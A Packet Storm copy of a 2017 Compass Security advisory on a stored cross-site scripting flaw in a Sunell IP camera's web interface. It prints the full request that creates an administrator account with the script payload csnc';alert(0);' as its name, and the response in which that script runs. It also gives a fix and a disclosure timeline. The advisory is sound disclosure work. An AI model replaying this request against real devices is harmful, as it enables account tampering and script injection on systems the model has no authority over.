what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sunell IPR54/14AKDN(II)/13 Cross Site Scripting

Sunell IPR54/14AKDN(II)/13 Cross Site Scripting
Posted May 27, 2017
Authored by Stephan Sekula

Sunell IPR54/14AKDN(II)/13 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 08008390429a0ee6a1e0891e649db3e2a21176e7ef4304f3a8a4f77d54e03e3d

Sunell IPR54/14AKDN(II)/13 Cross Site Scripting

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: Sunell IPR54/14AKDN(II)/13 [1]
# Vendor: Shenzhen Sunell Technology Corporation
# CSNC ID: CSNC-2017-011
# Subject: Stored Cross-Site Scripting
# Risk: High
# Effect: Remotely exploitable
# Author: Stephan Sekula <stephan.sekula@compass-security.com>
# Date: 18.04.2017
#
#############################################################

Introduction:
-------------
Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor
and outdoor applications. Equipped with a 2MP sensor enabling viewing
resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing
high quality video at high resolution of up to 2MP even in low light environments. [1]

Compass Security discovered a web application security flaw in the camera's
web interface, which allows an attacker to manipulate the resulting website.
This allows, for instance, attacking the user's browser or redirecting the
user to a phishing website. In order to do so, the attacker needs to, e.g., change
the current user's username.


Affected:
---------
Vulnerable:
* v2.0.0801.1002.1.1.136.0.0


Technical Description
---------------------
The camera's web interface employs a username, which can be manipulated.
If this parameter contains JavaScript code, it is executed in the user's
browser, once a page is visited, which contains the username. Exploiting
the vulnerability will lead to so-called Cross-Site Scripting (XSS),
allowing the execution of JavaScript in the context of the victim.

Request:
POST /goform/WEB_SetValueByAjax HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Referer: http://192.168.0.120/asppage/common/index.asp?ID=10200&lg=1
Content-Length: 502
Connection: close

XMLData=<MPLDCProtocol ProtocolType="1"><MPLDCPDeviceConfig ReturnValue="0" OperateType="2"><DeviceInfoEx User="" Password="" IP="192.168.0.120" Port="30001" DeviceID="0BCF7B"/><DeviceConfigID ID="DeviceConfig_AddUser"/><ConfigItem ID="ID_AddUserName" Value="csnc';alert(0);'"/><ConfigItem ID="ID_Password" Value="Password.123"/><ConfigItem ID="ID_PrivilegeGroup" Value="Administrators"/><ConfigItem ID="ID_MultiLoginFlag" Value="true"/></MPLDCPDeviceConfig></MPLDCProtocol>&ID=10200&LanguageId=1&Num=2


After a new user with manipulated username has been created, this user
is used to login.


Request (accessing page /asppage/common/ipc_privilegeuser.asp while being logged in as user csnc';alert(0);'):
GET /asppage/common/ipc_privilegeuser.asp?ID=56486&random=0.6518143656183069 HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.4818473020393146
Cookie: coobjMenuTree=PrivilegeManager; csobjMenuTree=User
Connection: close

Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Cache-Control: max-age=180
Content-type: text/html

i>>?<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
[CUT]
<script language=javascript> function getdata() {
var currentLoginUserName = 'csnc';alert(0);'';document.getElementById('pwdType').value = 2; return currentLoginUserName }</script>
[CUT]
</body>
</html>


Workaround / Fix:
-----------------
This issue can be fixed by properly encoding all output, which is posted back
to the user. For instance, using HTML encoding, to convert < to < and > to >.


Timeline:
---------
2017-05-18: Public disclosure date
2017-04-18: Vendor notification (No response)
2017-03-22: Initial vendor notification (No response)
2017-03-22: Discovery by Stephan Sekula


References:
-----------
[1] http://www.sunellsecurity.com


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close